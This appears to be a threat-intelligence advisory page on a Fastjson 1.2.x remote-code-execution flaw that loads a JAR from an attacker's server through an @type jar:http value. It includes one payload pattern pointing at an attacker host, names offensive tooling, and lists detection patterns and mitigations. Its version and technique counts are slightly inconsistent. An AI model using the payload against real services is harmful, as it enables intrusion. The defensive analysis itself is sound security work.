Fastjson 1.2.x Gadget-Free Remote Code Execution via @JSONType Remote Class Load (Versions 1.2.68-1.2.83)

Fastjson 1.2.x Gadget-Free Remote Code Execution via (TL-2026-1599), also tracked as Fastjson Gadget-Free RCE, is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-07-21. It has no confirmed attribution, affects Alibaba Fastjson, maps to 17 MITRE ATT&CK techniques (T1005, T1059, T1070.004), and is covered by 9 detection rules and 17 indicators of compromise.

Key facts for TL-2026-1599

Threat ID
TL-2026-1599
Also known as
Fastjson Gadget-Free RCE, Fastjson @JSONType Remote Class Load RCE, Fastjson 1.2.83 Blacklist-Bypass RCE
Severity
CRITICAL
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-21
Last reviewed
2026-07-21
Attribution confidence
LOW
Motivation
UNKNOWN
Target sectors
technology, finance, government administration, ecommerce, telecoms
Target regions
Global, Asia-Pacific
Detection rules
9
Indicators of compromise
17

Malware and tooling in Fastjson 1.2.x Gadget-Free Remote Code Execution via

Malware and tooling: fjdetect.py, fjpayload.py, fjscan_probe.py, fjscan_static.py

A critical unauthenticated RCE in Alibaba Fastjson 1.2.68-1.2.83 lets attackers bypass autoType blacklist/whitelist protections and achieve code execution using a single JSON payload with no third-party gadget chain, by abusing checkAutoType's @type class-resource probing to remote-load a JAR via jar:http and trigger class initialization through Spring Boot's LaunchedURLClassLoader. Disclosed by researcher Kirill Firsov (FearsOff) around July 20-22, 2026 and independently confirmed by NSFOCUS CERT and Chaitin's emergency response lab; wild exploitation and public PoC/scanner tooling exist. No CVE has been assigned as of this writing. Fastjson 2.x and instances with SafeMode enabled are not affected.

How Fastjson 1.2.x Gadget-Free Remote Code Execution via works

Fastjson's checkAutoType routine, used to enforce autoType blacklist/whitelist restrictions during deserialization, resolves candidate class names by probing classpath resources (getResourceAsStream(typeName.replace('.','/') + ".class")) before the type is validated against policy. Researchers found that supplying a crafted @type value using the jar: URL handler (pattern: {"@type":"jar:http://<attacker>:8000/x.jar!/Marker.class",...}) causes the JVM to fetch and cache a remote JAR during this probe step. On typical Spring Boot deployments using LaunchedURLClassLoader (both classic Spring Boot and Spring Boot 3 with embedded Tomcat), the cached JAR can subsequently be reopened via jar:file:/proc/self/fd/<N> references under an attacker-chosen class name and defineClass'd into the JVM, executing attacker code inside static initializers -- entirely before any object is actually instantiated or cast, and independent of whether the destination is a generic JSON.parse() call or a strongly-typed JSON.parseObject(body, Dto.class) binding. This defeats the common assumption that binding untrusted input to a fixed DTO class is a safe pattern, and defeats the pre-1.2.83 autoType blacklist because the abused mechanism operates during resource probing rather than during the later type-instantiation check the blacklist protects. The technique requires SafeMode to be disabled (it is disabled by default unless explicitly enabled) and works against JDK 8 via a direct-class route and against Linux/JDK 17 via the retained-JAR file-descriptor continuation. It does not require any pre-existing 'gadget' class (e.g. Throwable/Exception subclasses with exploitable setters) to exist on the target's classpath, which is what distinguishes it from earlier Fastjson autoType-bypass RCEs such as CVE-2022-25845 -- that 2022 flaw abused special handling of Throwable subclasses in ThrowableDeserializer and was constrained by the scarcity of usable gadget classes (only Selenium's WebDriverException was documented as a compatible public gadget, and even that yielded data leakage rather than full RCE). The 2026 finding removes that constraint: any endpoint that parses untrusted JSON through Fastjson 1.x with SafeMode off -- HTTP APIs, RPC frameworks, message-queue consumers -- is exploitable with one payload. NSFOCUS CERT's July 22, 2026 advisory independently corroborates active wild exploitation and public PoC/vulnerability detail availability, and recommends WAF signature 27004897 (fastjson_remote_code_exec_strict) alongside SafeMode. Chaitin's emergency response lab separately reproduced the vulnerability. Public defensive/offensive tooling includes a Docker lab and scanner suite (fjdetect.py, fjscan_static.py, fjscan_probe.py, fjpayload.py) documenting the mechanism end-to-end and enumerating related vulnerability classes in the 1.2.83 codebase.

MITRE ATT&CK techniques used in TL-2026-1599

Collection

T1005 Data from Local System

Execution

T1059 Command and Scripting Interpreter; T1106 Native API; T1203 Exploitation for Client Execution

Defense Evasion

T1070.004 File Deletion; T1140 Deobfuscate/Decode Files or Information; T1211 Exploitation for Stealth

Command and Control

T1071.001 Web Protocols; T1105 Ingress Tool Transfer

Discovery

T1083 File and Directory Discovery; T1518 Software Discovery

Initial Access

T1190 Exploit Public-Facing Application

Impact

T1489 Service Stop

Persistence

T1505.003 Web Shell

Resource Development

T1583.006 Web Services; T1587.004 Exploits

Reconnaissance

T1595 Active Scanning

Affected products and versions in Fastjson 1.2.x Gadget-Free Remote Code Execution via

  • Alibaba — Fastjson
    Vulnerable versions: 1.2.68; 1.2.69; 1.2.70; 1.2.71; 1.2.72; 1.2.73; 1.2.74; 1.2.75; 1.2.76; 1.2.77
    Fixed in: No fix available for 1.2.x line; mitigate with SafeMode or migrate to Fastjson 2.x
  • VMware / Spring — Spring Boot (LaunchedURLClassLoader-based deployments)
    Vulnerable versions: Spring Boot (classic executable JAR); Spring Boot 3 with embedded Tomcat

Remediation for Fastjson 1.2.x Gadget-Free Remote Code Execution via

Patches

  • No vendor patch exists for the 1.2.x line as of this advisory; only mitigation is SafeMode or migration to Fastjson 2.x

Immediate actions

  • Enable Fastjson SafeMode: ParserConfig.getGlobalInstance().setSafeMode(true) in application code
  • Set JVM parameter -Dfastjson.parser.safeMode=true for all services using Fastjson 1.2.68-1.2.83
  • Set fastjson.parser.safeMode=true in fastjson.properties for classpath-based configuration
  • Deploy WAF rules intercepting/inspecting JSON requests containing an @type field in body or URL parameters (NSFOCUS WAF rule 27004897 / fastjson_remote_code_exec_strict)
  • Restrict outbound JVM egress (block application servers from initiating arbitrary outbound HTTP/JAR fetches) to break the remote-JAR-load primitive
  • Alert on decoded @type values containing jar:, jar:http, !, .., /proc/self/fd, or dotted-quad/integer-IP literals

Workarounds

  • Enable SafeMode (see immediate actions)
  • WAF-level blocking of @type in JSON payloads

Longer-term hardening

  • Migrate all services from Fastjson 1.x to Fastjson 2.x after compatibility evaluation
  • Inventory all Maven/Gradle dependencies for transitive Fastjson 1.2.66-1.2.83 usage
  • Do not rely on type-bound JSON.parseObject(body, Dto.class) calls as a deserialization safety boundary
  • Deploy runtime application self-protection (RASP) or Java agent instrumentation to block ClassLoader.defineClass invocations triggered from deserialization paths

Weaknesses (CWE) in Fastjson 1.2.x Gadget-Free Remote Code Execution via

CWE-502, CWE-470, CWE-829

Timeline of Fastjson 1.2.x Gadget-Free Remote Code Execution via

  • JFrog discloses CVE-2022-25845, a Fastjson autoType bypass RCE abusing ThrowableDeserializer/checkAutoType handling of Throwable subclasses, fixed in 1.2.83 and constrained by scarcity of usable gadget classes.
  • Chaitin's emergency response laboratory reproduces the vulnerability, confirming exploitability without published PoC payload details out of responsible-disclosure caution.
  • Chinese security community (gm7.org) publishes early vulnerability-warning and reproduction writeups covering Fastjson 1.2.68-1.2.83.
  • Public Docker lab and defensive/offensive scanner suite (fjdetect.py, fjscan_static.py, fjscan_probe.py, fjpayload.py) published on GitHub documenting the SSRF-to-defineClass exploit chain under Spring Boot's LaunchedURLClassLoader.
  • Researcher Kirill Firsov (FearsOff) discloses a gadget-free RCE in Fastjson 1.2.83 (the final 1.x release), demonstrating a single-payload @JSONType remote-class-load exploit requiring no classpath gadget.
  • GCSA and gm7.org publish deep-dive technical analyses of the 1.2.83 gadget-free vulnerability and defense guidance.
  • TL-Intel-Harness ingests the NSFOCUS advisory via RSS hunt and opens threat TL-2026-1599.
  • NSFOCUS CERT publishes a formal advisory confirming wild exploitation and public PoC/vulnerability detail availability, recommending SafeMode and WAF rule 27004897 (fastjson_remote_code_exec_strict).

Sources cited for Fastjson 1.2.x Gadget-Free Remote Code Execution via

Threats related to Fastjson 1.2.x Gadget-Free Remote Code Execution via

Detection coverage for TL-2026-1599

As of 2026-07-21, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1599 across Splunk SPL, Microsoft KQL and Sigma, covering 17 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats